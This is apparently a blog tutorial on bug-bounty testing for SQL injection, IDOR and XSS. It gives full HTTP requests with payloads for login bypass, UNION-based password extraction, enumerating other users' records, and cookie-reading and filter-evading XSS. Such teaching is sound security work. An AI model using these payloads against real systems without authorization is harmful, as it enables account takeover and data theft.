SQL injection, Insecure Direct Object Reference (IDOR), and Cross-Site Scripting (XSS) with paylods
SQL injection, Insecure Direct Object Reference (IDOR), and Cross-Site Scripting (XSS) represent critical web application vulnerabilities frequently identified during bug bounty programs. The explanations below are provided strictly for educational purposes and must be applied exclusively within authorized scopes, such as public bug bounty platforms (for example, HackerOne or Bugcrowd) or intentionally vulnerable testing environments (for example, OWASP Juice Shop or DVWA). Unauthorized testing on production systems violates ethical and legal standards.
1. SQL Injection
SQL injection occurs when untrusted user input is improperly sanitized and concatenated directly into a backend SQL query, allowing an attacker to alter the query’s logic, extract data, or execute administrative commands.
To test for SQL injection, begin by identifying input fields that interact with a database (for example, login forms, search bars, or parameter-based endpoints). Submit specially crafted payloads and observe responses for anomalies such as database errors, altered result sets, or successful bypasses.
Example scenario (realistic login endpoint, based on patterns observed in vulnerable applications): A web application uses a POST request to authenticate users via a backend query of the form SELECT * FROM users WHERE username = '$input' AND password = '$input'.
Normal (benign) HTTP request:
POST /login HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Cookie: session=abc123
username=admin&password=secretpassSQL injection test request (classic tautology payload to bypass authentication): The payload ' OR '1'='1' -- forces the query to evaluate as always true, typically logging in as the first user (often an administrator).
POST /login HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Cookie: session=abc123
username=admin' OR '1'='1' -- &password=anythingAlternative test request (error-based SQL injection via a GET search parameter): A vulnerable search endpoint constructs the query SELECT * FROM products WHERE name LIKE '%$input%'.
GET /search?q=book' OR '1'='1 HTTP/1.1
Host: vulnerable-app.example.com
Cookie: session=abc123Expected indicators of success include:
- Successful login without valid credentials.
- Database error messages (for example, “MySQL syntax error near '’”).
- Unexpected data leakage (for example, union-based extraction via UNION SELECT username,password FROM users --).
Further escalation may involve time-based blind payloads (for example, AND (SELECT SLEEP(5))) or stacked queries, but always confirm impact within the authorized scope before reporting.
2. Insecure Direct Object Reference (IDOR)
IDOR arises when an application references internal objects (users, files, records) via predictable identifiers (for example, numeric IDs, UUIDs, or filenames) without enforcing server-side authorization checks on each request.
How to find IDOR systematically:
- Map the application by enumerating all endpoints that accept object identifiers (inspect URLs, POST bodies, headers, and API responses using tools such as Burp Suite or ZAP).
- Identify parameters that appear to reference objects directly (for example, user_id=, account=, file=, order_id=).
- Modify the identifier to a value belonging to another user or object while keeping the session cookie (and any other authentication tokens) unchanged.
- Observe whether the response returns data, allows modification, or performs an action belonging to the target object.
- Test both horizontal (same-privilege user) and vertical (lower- to higher-privilege) privilege escalation.
Realistic example (user profile endpoint): The application exposes user profiles via a direct numeric reference.
Original (authorized) HTTP request:
GET /api/v1/user/profile?user_id=12345 HTTP/1.1
Host: vulnerable-app.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: session=abc123IDOR test request (change identifier to another user’s ID):
GET /api/v1/user/profile?user_id=12346 HTTP/1.1
Host: vulnerable-app.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: session=abc123If the response returns the second user’s private data (for example, email, phone number, or payment details) without an access-denied error, an IDOR vulnerability exists. Additional test variations include:
- Changing a POST body parameter: {"user_id": 12346, "action": "update"}.
- Testing sequential or predictable IDs (for example, incrementing by 1).
- Checking API endpoints that lack proper authorization middleware.
Report the issue with proof-of-concept requests demonstrating unauthorized access to sensitive objects.
3. Cross-Site Scripting (XSS)
XSS occurs when an application includes untrusted user input in its output without proper encoding or sanitization, enabling execution of arbitrary JavaScript in the victim’s browser. The three main types are reflected (immediate in response), stored (persisted in database), and DOM-based (client-side only).
Testing approach: Inject payloads into every user-controlled input (query parameters, form fields, headers, JSON bodies) and monitor for JavaScript execution (for example, an alert dialog or console log).
Example payloads (progressively evading common filters): These are standard, battle-tested payloads suitable for initial testing in authorized environments.
Reflected XSS (URL parameter):
GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: vulnerable-app.example.comIf the application echoes the query directly into the HTML, an alert box appears.
Reflected XSS (evasion for WAFs or weak filters):
GET /search?q=%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1
Host: vulnerable-app.example.com(Decodes to <img src=x onerror=alert(1)>.)
Stored XSS (comment or review form): Submit the following via a POST form that later displays the input:
POST /comments HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/x-www-form-urlencoded
comment=<script>alert(document.cookie)</script>Any user viewing the comment later executes the script, potentially stealing session cookies.
Additional practical payloads for different contexts:
- HTML context: <svg/onload=alert(1)>
- Attribute context: "><script>alert(1)</script>
- JavaScript context: ';alert(1);//
- DOM-based (URL fragment): #<img src=x onerror=alert(1)> (if client-side code uses location.hash unsafely)
In all cases, capture the full request and response demonstrating execution. For bug bounty reports, include a clear impact statement (for example, session hijacking or account takeover) and a video proof-of-concept where appropriate.
These techniques form a foundational methodology. Once identified, always verify the vulnerability’s severity, scope, and business impact before submission. Continuous practice in legal labs will refine your detection accuracy. If you require clarification on any specific payload or scenario, please provide additional details.
Post a Comment